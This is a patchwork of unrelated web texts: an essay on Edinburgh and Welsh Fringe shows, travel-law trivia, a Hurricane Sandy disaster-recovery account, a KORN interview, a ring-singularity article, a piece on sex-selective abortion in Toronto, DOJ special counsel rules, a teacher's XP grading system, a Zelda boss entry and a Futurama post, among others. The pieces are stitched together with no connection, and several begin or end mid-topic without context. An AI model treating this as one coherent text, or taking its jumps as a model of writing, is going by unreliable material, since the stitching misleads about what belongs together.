In terms of economics, media and politics of course, London is a black hole for all other areas of the United Kingdom. And this is perhaps why Edinburgh feels so distinctly European – more so than any other city in the United Kingdom I have spent time in – certainly more European than London. It has that unique geography, the shadows of Arthur’s Seat and Castle Rock, two of its “seven hills”, that give the cityscape something of an Alpine or Pyrenean flavour. Tram cables career above cobbles. Cellar bars, café culture, and a palpable lack of a feeling that England is anything other than just “down there”, a neighbour, something much less than a dominant presence. During this trip, Big Ben fell silent, and I only knew this because the London journalists and Welsh Twitterati I follow on social media had a great deal to say about it. In Edinburgh it was insignificant. It went largely without comment. It takes very little time walking the streets, experiencing the festivals, talking to people, to realise how absurd it is that the paranoiac lies swallowed up by the English and the Welsh will condemn Edinburgh to life deprived of EU membership. It must feel more like being kicked out than pulled out. And as for Scottish Independence, promises just as craven and subsequently discarded as those the Brexiteers gave the whole of the UK during the EU Referendum, ensured a slight victory for unionists in 2014. In this puerile, nonsensical political bubble in which we are living, the results of referenda, it seems, are more important than the integrity of the campaigns that went into them. It is impossible to not feel a profound sense of tragedy at what England, yet again, has done to Scotland.
For Wales the matter of our relationship to England is a much more complex one, but the reason it is so complex is paradoxically simple. Scotland’s idea of identity is one defined by its confidence. Walter Scott and Robert Burns have given them clear cultural markers that have barely wavered in two hundred years. Edinburgh – arguably even more so than London – was the intellectual capital of the Georgian British Empire. And in the Edinburgh Festivals they have a bold cultural brand that brings in people from every corner of the globe. The festivals teach visitors what Scotland is, and crucially what Scottish internationalism means. England, the United Kingdom, appears insignificant to the conversation, even more so in the wake of the Brexit vote. In August, just as Westminster and Cardiff Bay discuss the least harmful way to make the United Kingdom more isolated and puny off the back of a public vote that has no integrity, Edinburgh is a global stage, an all-embracing hotbed of positivity, intellectualism, creativity, ideas, mature debate and the building of relationships. I cannot think of anything more outward looking than Edinburgh in August, and somehow it is that that makes it feel uniquely Scottish.
And this also means that it is Wales that travels to Scotland to showcase the immense talent of its performing arts companies at this year’s Fringe, and not Scotland coming to Wales. You cannot tell me that the maturity of Scottish Nationalism compared to the relative stasis of the Welsh version does not have something to do with 70 Years of the Edinburgh Festival Fringe, an iconic cultural happening that is Scottish to the core.
And yet the question for Wales is not how can we create something akin to the Fringe down here – lord knows Welsh Government only sees art in terms of tourism at the moment anyway, and that mentality is producing such clangers as the Flint Ring. Rather, it is more important right now to use platforms that already exist rather than throwing money at potential failures of our own creation, and it is the Wales in Edinburgh programme that is doing exactly this. Wales’ artists now are given an important spotlight by the joint efforts of the British Council and Wales Arts International (the international wing of Arts Council Wales). The standard on display is extremely high, and it is because of the initial profile-raising of the eight shows included that they have reached the audiences they have. Revlon Girl, for example, which up until the Fringe had received fair-to-middling reviews, is the hottest ticket in town, sold out for the majority of its month-long run at the Assembly Roxy. Neil Docking’s play about the aftermath of the Aberfan disaster has not just found an audience, but in the Fringe bubble has elicited an intensity in its brilliant ensemble cast that it might never have otherwise drawn out. Revlon Girl is receiving daily standing ovations, and it could be argued it is the real individual success story of Wales in Edinburgh, if indeed I was forced to pick one out. It is most certainly not the end of Revlon Girl’s story, and as many have mentioned, it is ripe for screen adaptation.
But all eight shows this year are of a very high quality, and they showcase not just talent, but a diverse range of Welsh companies, from the tiny, DIY-style Fringe show to small independent theatre companies to the national companies. But the Wales in Edinburgh badge brings them together, and gives them a stamp of approval in the town where the five-star-review came to die. As Wales prepares to shrink in the fist of Brexit, it is its artists who keep flying the flag, and with the support of the Arts Council and others, they have flown it with real class on the world stage at this year’s Fringe.
Cheapflights.com.au travel expert Ben Rosier says it’s useful to be aware of the quirky laws in different countries as the money spent paying off a hefty fine could be best be put towards more fulfilling travel experiences.
In Singapore it’s a crime not to flush a public toilet after use but, according to Mr Rosier, more travellers get themselves into a sticky situation with chewing gum.
“Singapore has a zero-tolerance approach to ‘gum control’ while in Thailand there’s a rule against leaving your home without your undies,” he says.
Watermelon is off the menu in Rio Claro, Brazil while in the US state of Kentucky it’s illegal to keep ice-cream in your back pocket.
If you are driving a rental car in Russia, make sure you keep it clean and whatever you do, don’t wear noisy shoes in Capri, Italy.
“At Cheapflights we appreciate the Japanese approach to driving carefully in the wet so you don’t splash pedestrians; but the New Zealand law about not allowing roosters in hot air balloons doesn’t fly for us. Then again, why would you?”
October 29, 2012, is a day I will always remember. That day was a trial for me professionally and the day I found out how well our business continuity plan was designed and tested. This was the date when Hurricane Sandy hit the New Jersey area and devastated the state—and our office in the city of South Kearny.
This location is our main print production hub that runs nearly 24 hours a day and, at times, seven days a week. And, after the storm, this office was down for nearly two months.
Prior to this disaster, the DR plan for our production branches was solid in theory, but in practice the proper tools for off-site backup were not in place to actually make it effective.
The storm
On the day of the storm, the Governor declared a state of emergency, and the office in New Jersey closed almost immediately after opening. We all knew it was serious, but we had never before experienced what was to come. In all honesty, we took the impending storm lightly.
Since our corporate offices are right outside of Boston, I knew I had some time before the storm would reach us, so I went in that day to ensure all the previous night’s backups ran properly.
During this time, I kept in close contact with the branch manager, who was no longer in the office but lived nearby. After noon, his phone went silent and all calls went straight to voicemail. I tried calling the office, but I couldn’t get through. Alerts started coming through from our monitoring system on failed pings and service checks. At this point it was obvious that the T1 was down, and that the office had lost power. At 3:30 p.m., my manager called and ordered me head to home for safety. For the remainder of the day, I was in the dark, unable to contact anyone at the Kearny branch.
The next business day the CEO closed all offices. The day after, I worked remotely—dealing with the outages with phone calls to Verizon, rerouting lines to managers’ mobile phones, and sorting out remote access to customer service staff so they could handle any incoming email inquiries from customers.
Due to the road conditions and severity of damage, it took the managers in the New Jersey office three days to make it in to the facility. No one was prepared for the scene inside. Everything had been under water—around 3 feet of water from the looks of it. And this was in office space that is elevated 6 feet off the ground!
Once we were able to get our bearings, the senior management team and I met to discuss what needed to be done. All customer work was being rerouted to the production center located in the corporate office, and key staff from the New Jersey facility was being diverted to Woburn, Massachusetts, to assist with the backlog of work.
I began the process of taking from backups I had pulled over the WAN to corporate to get the jobs on our servers so work could be done. IT gear was driven in from corporate for me to review, and it didn’t look good. All the PCs had been destroyed in the flood. The only surviving equipment were two servers I had moved to the top of the rack during my last visit. After some tweaking, I had the Lotus Notes Job System we use in the New Jersey office up and running.
There was much other work done during this time, and the process was long.
I went down about six weeks after the storm and had the site re-wired, redid the network closet from the ground up, and had 10 new workstations and Synology NAS units ready to go for the office. After all that work, the facility still didn’t reopen until the end of January 2013 due to on-going issues with power (the landlord still had us running off generators).
Presently, I’m pleased to say that the facility is humming right along and is actually in better shape than ever.
The aftermath
Though we were fully functional within a few days of that devastation after moving operations to our Massachusetts hub, the powers of nature served as a reminder to our team that we needed to revisit our disaster recovery plan and see where we needed to add or increase our ability to recover quickly from anything: floods, fire, and anything else that could be thrown our way.
I set out first to speak with the leaders of key business units to find out what data was crucial for them to be able to continue business after a disaster. I’m a strong believer that IT is not and should not be the group responsible for quantifying what data is critical for a business to be able to operate after a disaster.
With that knowledge in hand, I began my review of solutions available to me. I’d already abandoned tape (I was never a huge fan of the technology as I always felt it could not be trusted). I knew the path I was going to take would be the cloud, but I had requirements.
2.5TB — that’s what I knew I needed to get out of our environment and quickly and securely out to the cloud. I had no data management software to provide me insight as to what my annual data growth was, so I estimated the key data to be at less than 1TB a year of true business critical data after reviewing the systems marked as critical and seeing what has been added over the past year. Not a completely scientific method, but I felt confident I could still grow into this solution.
The solution had to have an option for a local copy of the data to be easily accessible, offer secure transmission and multiple remote data centers, be OS agnostic and outside of my current backup solution.
After testing trial runs, speaking with reps, reading reviews, and so on I, decided I would go with the Barracuda 690 Backup appliance that comes with 4TB of suggested backup storage with a maximum capacity of 8TB. This solution is fully loaded and goes to the cloud, another site, or a private cloud. It comes with data deduplication, retention policies, bare metal restores and many other options.
My current environment is being backed up using Veeam Backup and Replication, connecting to an HP StorageWorks server over a dedicated backup network. We’re also using another cloud provider, Zetta, which is only for our Exchange and AD environments. For $195 and 500GB of storage this solution will stay in place considering the low cost.
The new design will be as follows: Veeam will continue to run our backups as scheduled during the course of the week. The Barracuda backup will run on an automated schedule and back up key systems locally — full on the first run and then the Barracuda will run through subsequent backups and ensure files are unique, transfer those offsite to their DC and then once this is does the data replicates to a second DC. With this solution, I now have a secondary option if I run into issues with my Veeam backups, along with an option to access data in the cloud from anywhere at any time should the situation call for it.
For the senior management team and me, these are all pieces that help show our customers we’re serious about technology, the work we do for them, and that being able to serve them even when a disaster hits is high on our priority list.
One thing I strongly suggest is to never make decisions purely from an IT perspective. You must engage the various business units within your company and discuss what their challenges are/could be, and look into solutions that can achieve those results. Through this, a team can be formed based on expertise and not bias to set objectives and goals with firm deadlines on meeting those. In the end, this can only aid the business as a whole to achieve compliance, continuity, and, most importantly, buy-in from key personnel to make the purchases and changes needed to improve your business.
Whichever the case, according to Activision Blizzard’s financial call, Blizzard’s CEO Mike Morhaime revealed that an additional 100,000 players have left World of Warcraft in the past three months. Despite the loss of what some might call staggering, World of Warcraft is still left with a pretty impressive 10.1 million players. Blizzard has cleverly tried to lure players back with a free copy of Diablo 3 (when it launches) if players bought a year’s subscription to the game, but has since disappointed gamers looking forward to playing Diablo 3 early 2012. Any World of Warcraft players out there want to share with us your reason for leaving the game?
Asked how KORN manages to stay inspired to make new music twelve albums into its career, Munky said: "The inspiration for us is a constant stream of creative… wherever we pull it from. It may or may not be good at the time, but that's for us to decide later, I guess.
"We compiled a lot of material for [KORN's upcoming twelfth album, 'The Serenity Of Suffering'] and kind of looked at in retrospect to how our previous albums… how did it play a part? Was it touching on some of the things that maybe we haven't touched on? Some of the heavy guitar stuff we wanted to bring back into the forefront. It's just going through that stuff and meticulously kind of picking it apart. And I think we took a long time to do that. We actually started writing a lot of the material with eight-string guitars, and that kind of didn't pan out the way Head [guitar Brian Welch] and I thought it was going to. But we got a lot of great stuff, and we transposed a lot of that music to our seven-string sound, and it made more sense; it sounded more like KORN at that point."
He continued: "On the last couple of records, the couple of records before Head came back to the band, maybe we were kind of veering to the left a little creatively, giving that creative control… [We thought], 'Okay, let's kind of get this ship back on course a little bit,' and still feel current, I guess, with our songwriting, and the way the songs feel, with what's going on in music now, but still maintaining the integrity and heavy guitars of what KORN fans are used to."
Regarding how the members of KORN balance trying to please casual and hardcore fans at the same time while also keeping themselves happy creatively, Munky said: "It's tough. I think it's sort of, like, you have to trust your gut and just be, like, 'If we like it… If the five guys in this room like it, we have to go forward and move with it.' But also the technology gets better and makes you sound better. And it can help and hurt your sound, because you don't wanna rely on it too much, but you do want to have that polished sound and use it in that way. But you don't wanna have the computer doing the songwriting for you where you're putting the pieces of the puzzle, a copy-paste kind of thing. And that's something we definitely kept in mind when we were writing. We tracked the record, the songs, from the beginning to the end, which was an old-school method of [doing it]. And I think that's why the songs on this record feel alive; they feel very organic. They weren’t put together in some computer and now we're trying to figure 'em out. It's an old-school way of doing it."
"The Serenity Of Suffering" will be released on October 21 via Roadrunner. Grammy-award winner Nick Raskulinecz, who has worked with FOO FIGHTERS, DEFTONES and MASTODON, produced the disc. The follow-up to 2013's "The Paradigm Shift" features a guest appearance by SLIPKNOT frontman Corey Taylor on the song "A Different World".
KORN's tour with ROB ZOMBIE, "Return Of The Dreads", kicked off July 19 in Englewood, Colorado, and will wind down on September 3 in Bristow, Virginia. The band will hit the road again with BREAKING BENJAMIN on September 24 in Fargo, North Dakota, for the "Nocturnal Underground" tour.
Part 1 (audio):
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
Las Vegas Shooting: Stop Politicizing Tragedies Before The Bodies Have Cooled
Upload date:
October 10 2017
Uploaded by:
ViktorUlfrikson
Video description:
When faced with senseless, horrific shootings, people in Washington and on cable news often end up politicizing them in order to argue over gun laws, especially if the location where the incident took place has relatively relaxed regulations. This morning is no different. Twitter is overflowing with shit takes right now, attempting to politicize the incident in order to push their wet dreams of gun control. Please stop this. Social Media https://www.youtube.com/channel/UCKhlCc2-f95Vc4XkAwTLYIg https://twitter.com/ViktorUlfrikson https://www.minds.com/ViktorUlfrikson Sources http://www.foxnews.com/us/2017/10/02/reports-active-shooter-near-mandalay-bay-in-las-vegas.html http://www.nvbar.org/wp-content/uploads/NevLawyerFeb_2014_NV_Gun_Laws.pdf https://www.mandalaybay.com/content/dam/MGM/mandalay-bay/meetings/documents/mandalay-bay-meetings-convention-mb-private-security-policies-as-of-10-2012.pdf https://twitter.com/BravingRuin/status/914846529013329920 https://twitter.com/benshapiro/status/914847782917115909 #lasvegas #shooting #guncontrol
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Description of a ring singularity [ edit ]
Event horizons and ergospheres of a rotating black hole; the ringularity is located at the equatorial kink of the inner ergosphere at R=a.
When a spherical non-rotating body of a critical radius collapses under its own gravitation under general relativity, theory suggests it will collapse to a single point. This is not the case with a rotating black hole (a Kerr black hole). With a fluid rotating body, its distribution of mass is not spherical (it shows an equatorial bulge), and it has angular momentum. Since a point cannot support rotation or angular momentum in classical physics (general relativity being a classical theory), the minimal shape of the singularity that can support these properties is instead a ring with zero thickness but non-zero radius, and this is referred to as a ringularity or Kerr singularity.
Due to a rotating hole's rotational frame-dragging effects, spacetime in the vicinity of the ring will undergo curvature in the direction of the ring's motion. Effectively this means that different observers placed around a Kerr black hole who are asked to point to the hole's apparent center of gravity may point to different points on the ring. Falling objects will begin to acquire angular momentum from the ring before they actually strike it, and the path taken by a perpendicular light ray (initially traveling toward the ring's center) will curve in the direction of ring motion before intersecting with the ring.
Traversability and nakedness [ edit ]
An observer crossing the event horizon of a non-rotating and uncharged (or Schwarzschild) black hole cannot avoid the central singularity, which lies in the future world line of everything within the horizon. Thus one cannot avoid spaghettification by the tidal forces of the central singularity.
This is not necessarily true with a Kerr black hole. An observer falling into a Kerr black hole may be able to avoid the central singularity by making clever use of the inner event horizon associated with this class of black hole. This makes it theoretically (but not likely practically)[2] possible for the Kerr black hole to act as a sort of wormhole, possibly even a traversable wormhole.[3]
The Kerr singularity as a "toy" wormhole [ edit ]
The Kerr singularity can also be used as a mathematical tool to study the wormhole "field line problem". If a particle is passed through a wormhole, the continuity equations for the electric field suggest that the field lines should not be broken. When an electrical charge passes through a wormhole, the particle's charge field lines appear to emanate from the entry mouth and the exit mouth gains a charge density deficit due to Bernoulli's principle. (For mass, the entry mouth gains mass density and the exit mouth gets a mass density deficit.) Since a Kerr singularity has the same feature, it also allows this issue to be studied.
Existence of ring singularities [ edit ]
It is generally expected that since the usual collapse to a point singularity under general relativity involves arbitrarily dense conditions, quantum effects may become significant and prevent the singularity forming ("quantum fuzz"). Without quantum gravitational effects, there is good reason to suspect that the interior geometry of a rotating black hole is not the Kerr geometry. The inner event horizon of the Kerr geometry is probably not stable, due to the infinite blue-shifting of infalling radiation.[4] This observation was supported by the investigation of charged black holes which exhibited similar "infinite blueshifting" behavior.[5] While much work has been done, the realistic gravitational collapse of objects into rotating black holes, and the resultant geometry, continues to be an active research topic.[6][7][8][9][10]
See also [ edit ]
Investors in the company certainly did well. They raised just $5 million in venture capital. We’ve heard that True Ventures, which led the Series A round, owns some 25% of the company prior to acquisition. If accurate, they just pocketed nearly $20 million, a 10x or more return on an investment made a year ago.
So what is Milo? Essentially the site lists real-time in-store product inventory for over 50,000 stores accross the country; featuring over 3 million products from Target, Macy’s, Best Buy, Crate & Barrel and more.
The one problem Milo faces is that Google has started playing in the same space. Earlier this year, Google Product Search launched Blue Dot, on mobile search. Similar to Milo, Blue Dot allowed users within search to see if a product is in-stock at nearby stores. However, Milo countered back then that Google doesn’t have the inventory reach that Milo has. A few weeks ago, Google unleashed a new version of Product Search, with more inventory listings from 70 popular retail brands, many of whom also list with Milo.
Milo struck back with a coupon feature and also previously launched an Android app, but having Google as a competitor is no doubt daunting for any bootstrapped startup. Especially in the search game.
For eBay, Milo represents just another way to get into the $917 billion market of online research to offline buying. And Forrester estimates that this will eventually reach $1.3 trillion and account for nearly 50% of total retail sales by 2013.
eBay plans to bring the inventories of its sellers to Milo. The company will also integrate Milo’s local product feeds into both its online marketplace and mobile applications. eBay’s barcode-scanning iPhone application RedLaser will also feature Milo local results.
Jyotika Hussain, 29, is seen playing with her daughter, Inaaya (8 months) in their Mississauga home. Jyotika wanted to find out the sex of her baby when she was pregnant to plan clothes and the nursery colours, but an ultra-sound technician either couldn't or wouldn't tell her the sex of the baby. ( RICHARD LAUTENS / TORONTO STAR )
“It is discrimination against women in its most extreme form,” says Kale, whose controversial editorial in the Canadian Medical Association Journal sparked swift reaction from all corners of the medical community after its release Monday. In greater Toronto there are signs that female feticide does occur — to the point that some South Asian women claim some ultrasound technicians are already withholding the sex of a fetus. “There is enormous evidence in Canada that a segment of the South-Asian community prefers boys over girls,” says Baldev Mutta, executive director of the Punjabi Community Health Services in Peel Region, which helps new immigrants, people with addiction issues and abused women. “There is no doubt that aborting female fetuses, because it’s a female fetus, happens in Canada too.”
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Though Canada does not collect statistics based on ethnicity at birth, population statistics show the country, now home to more than a million Indo-Canadians, has a skewed gender ratio. According to the 2006 census figures, nationally there are 932 girls to 1,000 boys under age 15 in the South Asian community, compared to 953 girls to 1,000 boys in the general population. The numbers in the South Asian community in the Toronto area are further skewed with 917 girls to 1,000 boys in the Toronto Central Metropolitan Area. Broken down further, it shows 904 girls to 1,000 boys in Mississauga, and 864 girls to 1,000 boys in Brampton. Mutta says he has lost count of the young pregnant women who have come to the agency because they already have one or two daughters and their in-laws want them to check the gender of the fetus “…and if it’s a girl, to abort it.” “They don’t have a choice,” says Mutta. “If they don’t do as told, they are threatened with divorce.” To Kale, a solution to female feticide is to postpone telling women the sex of a fetus until after 30 weeks pregnancy — a point at which it is nearly impossible to have an unquestioned abortion. Currently, the sex of a fetus is usually revealed at around 18 or 19 weeks pregnancy.
He argues the rule would not impede a woman’s right to medical information about herself because finding out the sex of a fetus is not medically relevant. He also suggests the rule must apply to women of all ethnicities to prevent discrimination at the doctor’s office. Jyotika Hussain, 29, says the proposal is not appropriate, nor is it needed.
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Smith has been part of the WXXI News Team for more than 25 years, leading the community in civic engagement and civil discourse. Over the years, he has interviewed many newsmakers and opinion leaders, including Hillary Clinton, Rudolph Giuliani, Mario Cuomo, Charles Keating, Philip Roth, and B.B. King, as well as many local leaders. A special two-hour broadcast is being planned for mid-October, where fans can share their favorite memories from the show and wish Smith well.
“Bob’s incredible wealth of knowledge and curiosity of many varied topics made him such an engaging talk show host,” said WXXI President Norm Silverstein. “His dedication to the program has made 1370 Connection essential to the Rochester community for more than 25 years.”
Smith started his career in broadcast news before his 20th birthday, when he landed his first full-time radio job as a reporter/anchor for Syracuse station WHEN (AM) while simultaneously enrolled in graduate school at Cornell University. He holds a Ph.D. in American political and legal history from Cornell and taught undergraduate American political and diplomatic history courses to Cornell undergraduate students. He joined WXXI in March of 1988.
Throughout his career, Smith received several awards, including a New York State Associated Press Broadcasters Association Award and an Award for Media Excellence from the United Nations Association of Rochester.
Smith has served as a member of the Board of Directors of the Rochester Rotary Club and the Small Business Council of the Rochester Chamber of Commerce. He's also author of the first of a series of major task force reports for the Urban League of Rochester, which helped launch public school reform in the city.
(a) A Special Counsel shall comply with the rules, regulations, procedures, practices and policies of the Department of Justice. He or she shall consult with appropriate offices within the Department for guidance with respect to established practices, policies and procedures of the Department, including ethics and security regulations and procedures. Should the Special Counsel conclude that the extraordinary circumstances of any particular decision would render compliance with required review and approval procedures by the designated Departmental component inappropriate, he or she may consult directly with the Attorney General.
(b) The Special Counsel shall not be subject to the day-to-day supervision of any official of the Department. However, the Attorney General may request that the Special Counsel provide an explanation for any investigative or prosecutorial step, and may after review conclude that the action is so inappropriate or unwarranted under established Departmental practices that it should not be pursued. In conducting that review, the Attorney General will give great weight to the views of the Special Counsel. If the Attorney General concludes that a proposed action by a Special Counsel should not be pursued, the Attorney General shall notify Congress as specified in § 600.9(a)(3).
(c) The Special Counsel and staff shall be subject to disciplinary action for misconduct and breach of ethical duties under the same standards and to the same extent as are other employees of the Department of Justice. Inquiries into such matters shall be handled through the appropriate office of the Department upon the approval of the Attorney General.
It’s that time of year, folks. It’s hard to believe that just a few months ago we were in the midst of the fall movie season beginning, with many of the year’s most anticipated Oscar contenders still unseen. But we’re now into the thick of it, with the Oscar race taking as some major films broke out in a big way at the fall festivals, while others have fizzled faster than you can say Unbroken.
I worked hard on something I called "Grading 2.0" back in around 2007. I even wrote my diploma thesis on the subject of learning and grading in the digital age.
The Problem: Grading sucks for students (also a bit for us teachers)
Grading is much more complex than I initially thought. There are so many factors that may or may not find their way in a grade but the student's never see them in a form that they could put in context of their own performance.
For us teachers it's hard to pin point how little a student has to do to be failing or how much they have to do to get the best grade. Every teacher has their own system but almost all of them are not transparent when you're in the middle of a semester. Grading is definitely one of the hardest thing for a (new) teacher.
So what doesn't suck for students?
Games don't suck. Popular games like World of Warcraft are easy to learn, hard to master and straightforward:
Someone gives you a Quest that matches your skill level and they tell you what you'll get if you finish it You have to work (hard) to achieve the goal You return and collect your reward and Experience Points (XP)
In contrast here is how it works in schools:
The teacher gives you an assignment You do it and hand it in You might get a + if you did it well and a - if you didn't. This adds to your grade somehow
You see the system is quite similar but differs at a key point:
In games you always can put your reward into context and see the big picture.
The game will tell you exactly how many XP you'll need to "level up". This is what I wanted for our schools.
Your browser does not support the video tag. You can see the Video on Youtube: https://www.youtube.com/watch?v=9l8CSms2pGA
XP based grading
The system I'll be describing next has been reviewed by members of the ministry of education in Vienna and by a person involved in the creation of the Austrian LBVO which describes in great detail how a teacher has to grade their students.
The basic principle of the XP based grading system: In the beginning of a year the teacher defines sections and assigns them an XP limit
The students receive XP for every positive action/participation
XP can't be lost or taken away (this is especially important for motivational reasons)
If a student has more than 100% XP in a section, they can put these "overflow XP" into another section
I have created an e-Learning platform called "Socialcube" which is my "proof-of-concept" for the XP based grading system and I'll use this platform to show you how the grading system works.
"If I saw that I only needed a few more XP to pass I would be much more motivated to study than if I didn't have this context" -Student Marcel Fuschlberger, 2012
1. Create "Grading Sections" and give them an XP-cap
Grading sections for the demo class In this example I divided the year in three sections:
Hardware with a maximum of 500 XP
Linux with a maximum of 500 XP
Programming with a maximum of 1000 XP
2. Start giving out XP
For every XP you give them you have to provide a reason why they got it. This is very important, because the students (and also the teachers) can recap what they did and what they earned the XP for.
Giving XP to the users by writing the amount of XP and the reason in a table
Start giving them XP for every positive interaction!
They are attending (or bring a note from their doctor for missing last time)? +5 XP
They raise their hands and say something productive? +5 XP
They are doing a presentation? +20 XP
They did their homework somewhat good? +15 XP
They did their homework extraordinary good? +35 XP
You get the idea..
What the student sees
The student gets a notification for every XP they get and they are presented with a few graphs about their performance and how it relates to the whole grade, the grade in the section and in comparison to the other students in this class. They also see an XP-log with the date, reason and amount for the XP they got.
XP overview of a student. They see that they only need 18 XP for the next higher grade
This student sees clearly he/she needs only 18 more XP to get the next higher grade. The "overall grade" only changes when all sections are positive (at least the grade 4).
This is what the XP based grading system is all about!
Question: "But I don't know how many XP a grading section will have because I don't know yet how long I'll work with the students on this topic. Do I have to change it all the time?"
Answer: "No, there is an easier way"
I got this question a lot in the last years and I developed a solution for it:
Flowing with the section
A teacher can choose to set a section to a maximum of 0 XP like so: Two of the three sections now have 0 XP as a maximum
And then can choose to raise the sections max-XP every time they give students XP Giving XP to students and raising the XP cap
See that little checkbox in the lower left corner on the image? It tells the system to add the highest value of XP that you just entered to the sections maximum XP.
Pro and Con of this method: Pro It's much easier to handle for a teacher It raises "the bar" fair for everyone to see
Con Students start out with the best mark (1) and might get lazy and then see their grades drop Positive grades can change back to negative grades and this eliminates the motivational aspect of "earning something that can't be taken away"
What I've learned after 3 Years of using this System
1. Once Students have positive grades they work even harder
One of my fears was that if a student's grade turns positive in the middle of the semester, that he/she might stop participating because "they're safe". Amazingly the opposite was the case: These students were more active, did all homework assignments and even helped others. This might be because of something I call the "high level syndrome". They feel much more confident because they're safe from failing.
2. Students love the transparency
Every year when I get my new classes I tell them about the grading system and I can always see their eyes getting bigger and laughing and sometimes applauding because they're so excited about this system. I get asked every year why not all teachers use this method and that they would love having this data for other classes.
3. The young teachers are very interested in this grading system, some older teachers fear the downsides
My System is not ready for prime-time yet but I told many teachers about it and most of them were very excited. But there are of course also concerns:
"So you mean I have to take a laptop to every class and have to enter XP while teaching? That takes too much time. Also what if the internet fails? I would have to write it on a paper and have to enter all the data from home in my spare time?" Anonymous Teacher
Characteristics
Fi's Comment Koloktos This “Ancient Automaton" defends the Ancient Cistern and eliminates intruders. The cursed energy supply Ghirahim provided to this contraption has given it power far beyond its conventional limits. The red, orb-shaped cores embedded in its torso and arms provide it limited stability and prevent it from falling to pieces. It is highly probable that if the red cores in its arms were to be ejected, the unit would lose integrity and the limbs would sever from the body. However, during normal operation the cores are likely hidden below the forearm plating. Results from my analysis show that the red cores in Koloktos's arms will only be revealed when the arms are stretched out to full length. Fast and timely counterattacks after Koloktos swings its arms down have the best chance of success. I estimate a high probability that the red cores can be removed using your whip. When Koloktos's arms lower, there will be a brief moment when you can attack the chest core. However, when targeting the chest core, there is nowhere to hook on to with your whip. Therefore, removing the core will not be possible.
As Link enters the final room of the Ancient Cistern, he immediately encounters Ghirahim inside. Ghirahim supplies the dormant Koloktos with cursed energy, giving it the mobility and the power to battle Link.
Koloktos is held together by the red cores in its arms and torso. Aware of its weakness, Koloktos covers its torso with its bottom two hands. The uppermost arms carry sharpened blades that it occasionally throws at the young hero, which he can dodge or block with his Shield. When Link is near the automaton, it tries to crush him with its giant arms. By dodging this attack and using his Whip to grab the arms' joints, Link can break off the cores from its arms. After breaking off the first two arms, Koloktos will eventually use its lower hands to attack, giving the hero a chance to break them off as well and attack its chest core. Koloktos will reanimate and reattach its missing arms afterward and attack Link again.
After Koloktos has suffered enough damage, it pulls itself out of the floor and reveals its legs, giving it the ability to chase Link around the room. It also pulls out six cutlasses and cages its chest core to prevent Link from attacking it. The sentient contraption will occasionally try to attack the hero with a barrage of slashes, which he can dodge by running away. This attack can destroy the stone pillars in the room, revealing Hearts inside. It can also summon three Cursed Bokoblins which will pursue Link. After dodging an attempted strike, Link can pull the cores out of its arms as he did with its first form. He can then pick up one of Koloktos's cutlasses and use it to destroy its various parts, including its arms and legs. Link must then slice its cage apart with the cutlass, exposing the core to attack. As before, Koloktos will eventually reanimate its broken parts and reattach them.
After defeating Koloktos, its cursed energy will combust, taking the automaton with it. Link can then proceed to power up the Goddess Sword with Farore's Flame, turning it into the Goddess Longsword.
Trivia
In alignment with the Ancient Cistern's apparently Buddhist theme, Koloktos's overall design seems to take inspiration from the deity Asura .
theme, Koloktos's overall design seems to take inspiration from the deity . At the beginning of the battle, Koloktos's facial expression is neutral. The more it is attacked, the more its face seems to twist into a mischievous smile. Furthermore, when Koloktos is defeated, it seems to laugh like a child before exploding.
Even though it has a cage to cover its weak spot, it only uses it once Link has damaged it considerably.
Koloktos can be damaged with Link's regular Sword even during the second phase of the fight, but it will not be defeated until its core is struck at least once with its own cutlass, even if its health is at zero. [ verification needed ]
If Link returns to the boss room, he will still be able to use Koloktos's cutlasses, but he will not be able to exit the room with them.
Nomenclature
Koloktos may be derived from "koło ktoś", a Polish phrase meaning "Round One". This can refer to its round torso and orb-like red cores. Its Japanese title 魔蝕神器ダ・イルオーマ (Ma Shoku Shinki Da Iruōma), meaning "Demon-tainted Sacred Instrument: Dah Iruouma", reflects its state as being possessed by Ghirahim's demonic energy, while also being a sacred vessel or tool (i.e. an instrument) of the Goddess, used to protect the Sacred Flame of Farore hidden within the Ancient Cistern. This is also reflected in the localizations of other regions, who refer to it as a "golem" — an artificially created human being out of Hebrew legend, which is blessed with life; as a "guardian" (it was built to guard the Sacred Flame); and an "artefact" (i.e. artifact), defined as "an object (such as a tool or ornament) showing human workmanship or modification as distinguished from a natural object."[2]
Names in Other Regions Language Name Meaning Japanese 魔蝕神器ダ・イルオーマ (Ma Shoku Shinki Da Iruōma) Demon-tainted Sacred Instrument: Da Iruōma French CA Gardien aux mille bras, Koloktos Thousand-armed Guardian, Koloktos French EU Gardien aux Mille Bras, Da Ihloma Thousand-armed Guardian, Da Ihloma German Artefakt der Finsternis, Da Ilohm Artefact of Darkness, Da Ilohm Italian Demone dalle Mille Lame, Malgare Thousand-armed Demon, Malgare Korean 마촉신기 다일로와마 (Machok Shingi Da Illowama) Demon-possessed Sacred Machine: Da Ilowama Spanish EU Gólem de las Tinieblas, Iruoma Golem of the Darkness, Iruoma Spanish LA Gólem de las Tinieblas, Koloktos Golem of the Darkness, Koloktos
Ok then! June 23rd's 10pm premiere will, like last year, be supersized! That's right, 2 new episodes of nerdy goodness! Yummy!
Due to the fact that all this season's episodes are 'in the can' Comedy Central may mix up the order. Which is what they've done for the first 2 to air though they will not be messing up any continuity ones so chill there continuity police!
Here's comes the info! 10pm ET: Neutopia(Actually production episode 20 of the 26 produced for last year and this):
We encounter an alien that does not understand the concept of 'gender' and so when it meets the crew it goes about conducting experiments such as altering their own genders. 10:30pm ET: Benderama(actually episode 17 of the 26):
Written by Aaron Ehasz(Crimes of the Hot, Future Stock), this episode sees Bender gain the power to infinitely self-replicate, producing ever greater quantities of smaller and smaller Benders. The awesome Patton Oswalt guest-stars as a horrific creature who is sensitive about his appearance (in the script, he just goes by the name 'Unattractive Giant Monster').
Not long now folks! Greetings again, how about some exclusive Futurama premiere info?Ok then! June 23rd's 10pm premiere will, like last year, be supersized! That's right, 2 new episodes of nerdy goodness! Yummy!Due to the fact that all this season's episodes are 'in the can' Comedy Central may mix up the order. Which is what they've done for the first 2 to air though they will not be messing up any continuity ones so chill there continuity police!Here's comes the info!Not long now folks! 5-4-2011 | reed
#1 by GeoffDixon
That is nowhere near enough episodes! We need one a day!
#2 by Hoot
It's interesting that they are going for "Neutopia" and "Benderama" as season openers. Perhaps they're stronger episodes than "The Silence of the Clamps". Nevertheless, this is great news! I was looking forward to seeing Benderama and it's coming sooner than I expected! The clip they posted from Neutopia looks pretty good too. Nice to see they used the Coilette design from "Bend-her" for Bender's Gender Bending form.
